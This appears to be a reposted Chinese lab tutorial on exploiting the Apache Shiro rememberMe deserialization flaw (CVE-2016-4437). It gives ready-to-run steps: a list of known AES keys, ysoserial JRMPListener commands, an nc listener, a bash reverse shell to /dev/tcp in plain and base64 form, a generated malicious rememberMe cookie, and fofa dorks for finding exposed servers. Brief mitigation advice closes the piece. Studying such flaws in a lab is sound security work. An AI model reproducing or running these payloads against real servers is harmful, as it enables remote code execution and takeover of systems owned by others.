章节5:04-shiro反序列化漏洞

news2024/11/25 23:47:21

章节5:04-shiro反序列化漏洞

复现环境

本地tomcat或Docker vulhub

基础环境:

IDEA

Maven

Tomcat

Burp JDK8版

01 Shiro介绍

Shiro

Apache Shiro:开源安全框架

  • 身份验证
  • 授权
  • 会话管理
  • 加密

本地代码

https://github.com/apache/shiro/releases/tag/shiro-root-1.2.4

IDEA导入以下目录

shiro-shiro-root-1.2.4\samples\web

在这里插入图片描述

漏洞

2016年:Shiro-550

CVE-2016-4437

影响版本:≤1.2.4

利用已知key

https://www.seebug.org/vuldb/ssvid-92180

https://issues.apache.org/jira/browse/SHIRO-550

2019年:Shiro-721

Apache Shiro Padding Oracle Attack

影响版本:≤ 1.4.1

爆破key,需要登录成功

https://www.anquanke.com/post/id/192819

https://issues.apache.org/jira/browse/SHIRO-721

02 漏洞原因分析

登录信息保存

remember me

在这里插入图片描述

难点

  1. 获取AES的key
  2. 构造一个序列化以后的对象,可以通过readObject执行命令

常见的key

kPH+bIxk5D2deZiIxcaaaA== (1.2.4默认key)

2AvVhdsgUs0FSA3SDFAdag==

4AvVhmFLUs0KTA3Kprsdag==

3AvVhmFLUs0KTA3Kprsdag==

wGiHplamyXlVB11UXWol8g==

Z3VucwAAAAAAAAAAAAAAAA==

6ZmI6I2j5Y+R5aSn5ZOlAA==

ZUdsaGJuSmxibVI2ZHc9PQ==

1QWLxg+NYmxraMoxAXu/Iw==

……

登录过程

在这里插入图片描述

验证过程

在这里插入图片描述

03 漏洞环境搭建

本地复现:下载

从github下载:

https://github.com/apache/shiro/releases/tag/shiro-root-1.2.4

IDEA打开

shiro-shiro-root-1.2.4\samples\web

pom.xml修改

<dependency>
	<groupId>javax.servlet</groupId>
	<artifactId>jstl</artifactId>
	<!-- 将jstl设置为1.2 -->
	<version>1.2</version>
	<scope>runtime</scope>
</dependency>
...
<dependency>
	<groupId>org.apache.commons</groupId>
	<artifactId>commons-collections4</artifactId>
	<version>4.0</version>
</dependency>

tomcat服务器

在这里插入图片描述

ysoserial-jar依赖

在这里插入图片描述

在这里插入图片描述

vulhub环境

cd /usr/local/soft/vulhub/shiro/CVE-2016-4437

docker-compose up -d

http://ip:8080 admin vulhub

勾选remember me,使用任意用户名密码进行登录(Burp抓包)

04 利用工具和方式

JRMP协议/服务器

JRMP全称为Java Remote Method Protocol,也就是Java远程方法协议

ysoserial工具

https://github.com/frohoff/ysoserial

mvn package -D skipTests

POP Gadgets

Property-Oriented Programming

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 7777CommonsCollecitons1 'calc.exe'

利用方式1

在这里插入图片描述

利用方式2(本笔记使用)

在这里插入图片描述

利用流程

  1. 先构建一个恶意命令,它的作用是让漏洞服务器连接到我们启动的JRMP服务器
  2. 把这个命令序列化、AES加密、base64编码(payload2),写入到Cookie,发给漏洞服务器
  3. 漏洞服务器:base64解码、AES解密、反序列化,执行恶意命令,连接到JRMP服务器
  4. 继续发送恶意payload1,利用CC等通用库的漏洞执行命令

利用方式2:原理

参考资料:

https://www.jianshu.com/p/94aad7ee45b3

https://www.sohu.com/a/447023879_120045376

http://t.zoukankan.com/nice0e3-p-14280278.html

全部用到的工具

在这里插入图片描述

05 利用实现

漏洞特征

set-cookie是否存在remeberMe=deleteMe

fofa dork

header= “rememberme=deleteMe” 、header= “shiroCookie”

检测工具

基于 JDK8

  1. shiro_tool.jar 纯字符版

  2. ShiroExploitV2.51

    在这里插入图片描述

  3. shiro_attack-v2.0.jar

    在这里插入图片描述

    在这里插入图片描述

    在这里插入图片描述

完整流程

在这里插入图片描述

kali监听端口

Kali机器

nc -lvp 7777

恶意命令

反弹连接命令

bash -i >& /dev/tcp/ip/7777 0>&1

工具:https://ares-x.com/tools/runtime-exec/

结果:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Mi4xMzIvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}

启动JRMPListener

Kali机器

cd /root/vuln/shiro

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 8888 CommonsCollections5 “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Mi4xMzIvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}

python生成Cookie

Kali机器

pip3 install pycrypto #先安装加密模块

python3 shiro.py ip:8888

结果: rememberMe=+DcRVRC3TxGKeuGHa4TZSWqqLtQGyPvE0mjicSb4nm6nUdC6PwNxo6ZgbQLuHr8wq3ECYQVLqKXaECtmKQhW91hbrn3XgJzn3XRUgNEciP3dQpQcOO1ID+vsns3qmyd6SMva5e+cX7z74AwVAK2i0cwc/AmnVUV/oCdA9nHPcb6b5EH23bkrLuafb5Ij7e6t+X1pZunOUFbquQqrBCW4D+hmUS+g93brv5cpLDmR5DWkh7yqWyTXMWKzZqRP0iW/x1gOFVZ3wPv2CYZhvQlH3jpk7nxq5gf5rf CgQ7T8R7OJ66zQc92gx0kbInRJ/QT3v19RF3Jn/q7fBGyX2/LDDdjPzd4DYBMj3CgH3Cx4FuElMv4364VTknFZqVj4gMsfGS2OA9NZ/2jVIFhTdhvU3w==

附:kali 切换python版本命令

kali配置

update-alternatives --install /usr/bin/python

python /usr/bin/python2 100

update-alternatives --install /usr/bin/python

python /usr/bin/python3 150

切换版本

update-alternatives --config python

抓包发送

在这里插入图片描述

结果

在这里插入图片描述

06 修复与防御

修复和防御

  1. 升级Apache Shiro到最新版本
  2. 部署安全产品

防御工具库:https://github.com/ikkisoft/SerialKiller/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/651670.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Iptables防火墙策略

目录 一、iptables netfilter/iptables 关系 二、四表五链 三、iptables的安装 iptables 命令行配置方法 管理选项 一、iptables Linux 系统的防火墙——netfilter/iptables IP信息包过滤系统&#xff0c;它实际上由两个组件netfilter 和 iptables组成。 主要工作在网络…

MATLAB与大数据:如何应对海量数据的处理和分析

第一章&#xff1a;引言 在当今数字化时代&#xff0c;大数据已经成为了各行各业的核心资源之一。海量的数据源源不断地涌现&#xff0c;如何高效地处理和分析这些数据已经成为了许多企业和研究机构面临的重要挑战。作为一种功能强大的数学软件工具&#xff0c;MATLAB为我们提供…

深度剖析InnoDB存储结构

大家都知道 MySQL 的数据都是存储在物理磁盘上的&#xff0c;那具体是保存在哪个文件呢&#xff1f;我们首先要知道MySQL 存储的行为是由存储引擎实现的&#xff0c;不同的存储引擎保存的文件自然也不同。由于InnoDB 是我们常用的存储引擎&#xff0c;也是 MySQL 默认的存储引擎…

Spring Cloud Alibaba - Sentinel源码分析(二)

目录 一、Sentinel源码分析 1、时间窗算法 2、滑动时间窗算法 3、Sentinel滑动时间窗口算法源码解析 4、Sentinel滑动窗口数据统计源码解析 一、Sentinel源码分析 1、时间窗算法 时间窗算法&#xff0c;也可以称之为&#xff1a;固定时间窗算法 概念&#xff1a;固定时…

015:vue项目中常用的正则表达式

第015个 查看专栏目录: VUE — element UI 专栏目标 在vue和element UI联合技术栈的操控下&#xff0c;本专栏提供行之有效的源代码示例和信息点介绍&#xff0c;做到灵活运用。 &#xff08;1&#xff09;提供vue2的一些基本操作&#xff1a;安装、引用&#xff0c;模板使用…

【RV1126】使用gpiolib框架

文章目录 史上最简单&#xff1a;增加GPIO控制功能是如何实现的呢&#xff1f;GPIOLIB框架Linux 驱动实现 控制引脚输出高低电平综合测试 这一套非常方便&#xff01; 史上最简单&#xff1a;增加GPIO控制功能 如果是想增加GPIO控制只需要修改设备树就可以做到&#xff01; …

谷粒商城第二天-项目环境搭建

目录 一、前言 二、学习的内容 一、虚拟平台的安装&#xff0c;远程连接虚拟机的工具的安装 二、Docker以及常用软件的安装 一、安装Docker&#xff1a; 二、安装相关软件 三、开发环境的统一 1. 这里就是调整Maven的下载依赖的地址&#xff0c;改用阿里云镜像地址 2. …

11.vue3医疗在线问诊项目 - _药品订单 ==> 支付页面、支付详情、支付结果、订单详情、物流信息、高德地图工具

11.vue3医疗在线问诊项目 - _药品订单 &#xff1e; 支付页面、支付详情、支付结果、订单详情、物流信息、高德地图工具 药品订单-支付页面-路由 目标&#xff1a;配置路由&#xff0c;分析药品支付组件结构 1&#xff09;路由与组件 {path: /medicine/pay,component: () >…

系列十一、MongoDB副本集

一、概述 MongoDB副本集&#xff08;Replica Set&#xff09;是有自动故障恢复功能的主从集群&#xff0c;有一个Primary节点和一个或者多个Secondary节点组成。副本集没有固定的主节点&#xff0c;当主节点发生故障时&#xff0c;整个集群会选举一个主节点 为系统提供服务以保…

大数据测试基本知识

常用大数据框架结构 1.大数据测试常用到的软件工具 工具推荐&#xff0c;对于测试数据构造工具有&#xff1a;Datafaker、DbSchema、Online test data generator等&#xff1b;ETL测试工具有&#xff1a;RightData、QuerySurge等&#xff1b;数据质量检查工具&#xff1a;great…

SpringBoot医药管理系统设计+第三稿+文档

博主介绍&#xff1a;✌在职Java研发工程师、专注于程序设计、源码分享、技术交流、专注于Java技术领域和毕业设计✌ 项目名称 SpringBoot医药管理系统设计第三稿文档 视频演示 SpringBoot医药管理系统设计第三稿中期检查表ppt外文文献翻译文献综述开题任务书查重报告安装视频讲…

【计算机网络】第五章数据链路层-电子科技大学2023期末考试

第五章 数据链路层 学习目的 目的1&#xff1a;理解链路层服务的主要功能 差错检查、纠错 共享广播信道&#xff1a;多点接入问题(multiple access) 链路层寻址(link layer addressing) 局域网技术&#xff1a;Ethernet, VLANs 目的2&#xff1a;链路层技术的实现 点到点…

【Java入门】-- Java基础详解之【程序控制结构】

目录 1.程序流程控制介绍 2.顺序控制 3.分支控制if-else 4.嵌套分支 5.switch分支语句 6.for循环控制&#xff08;重点&#xff09; 7.while循环控制 8.do...while循环控制 9.多重循环控制&#xff08;重难点&#xff01;&#xff09; 10.跳转控制语句break 11.跳转…

计算机课程个性化内容推荐系统的设计与实现+文档等

博主介绍&#xff1a;✌在职Java研发工程师、专注于程序设计、源码分享、技术交流、专注于Java技术领域和毕业设计✌ 项目名称 计算机课程个性化内容推荐系统的设计与实现文档等 视频演示 计算机课程个性化内容推荐系统的设计与实现 系统介绍 计算机课程个性化内容推荐系统的设…

Car Guide

文章目录 科目一第一章 机动车驾驶证申领和使用规定第一节 驾驶证的许可&#xff1f;种类和有效期第二节 驾驶证的申领第三节 驾驶证的使用第四节 驾驶考试第五节 违法记分制度 第二章 交通信号第一节 交通信号灯第二节 交通标志第三节 交通标线第四节 交警手势 第三章 道路交通…

Ansible之playbooks剧本

目录 一、playbooks1、playbooks简述2、playbooks剧本格式3、playbooks组成部分4、playbooks启动 二、playbook编写 apache 的yum安装部署剧本三、playbook编写 nginx 的yum安装并且能修改其监听端口的剧本四、 playbook的定义、引用变量1、基础变量的定义与引用2、引用fact信息…

Stable Diffusion webui 基础参数学习

哈喽&#xff0c;各位小伙伴们大家好&#xff0c;最近一直再研究人工智能类的生产力&#xff0c;不得不说随着时代科技的进步让人工智能也得到了突破性的发展。而小编前段时间玩画画也是玩的不可自拔&#xff0c;你能想想得到&#xff0c;一个完全不会画画的有一天也能创作出绘…

【计算机网络】第一章概论-电子科技大学2023期末考试

相关术语 URI&#xff1a;Uniform Resource Identifier 统一资源标识符&#xff0c;指的是一个资源 URL&#xff1a;Uniform Resource Location 统一资源定位符&#xff0c;URI的子集&#xff0c;用地址定为的方式指定一个资源 URN&#xff1a;Uniform Resource Name 统一资…

MySQL事务相关笔记

杂项 InnoDB最大特点&#xff1a;支持事务和行锁&#xff1b; MyISAM不支持事务 介绍 一个事务是由一条或者多条对数据库操作的SQL语句所组成的一个不可分割的单元&#xff0c;只有当事务中的所有操作都正常执行完了&#xff0c;整个事务才会被提交给数据库。事务有如下特性…

【使用指导】wifi蓝牙二合一模块LCS2028与服务器的数据收发功能测试指导

在物联网智能家居、智能照明、智能楼宇、智慧工厂、智能制造等领域的数据透传、智能控制应用中&#xff0c;支持UART串口通信的低功耗WiFi蓝牙二合一模块应用极为广泛。模块性能测试环节中会测试模块与服务器的数据收发功能&#xff0c;确保功能性能够满足项目应用需求。本篇就…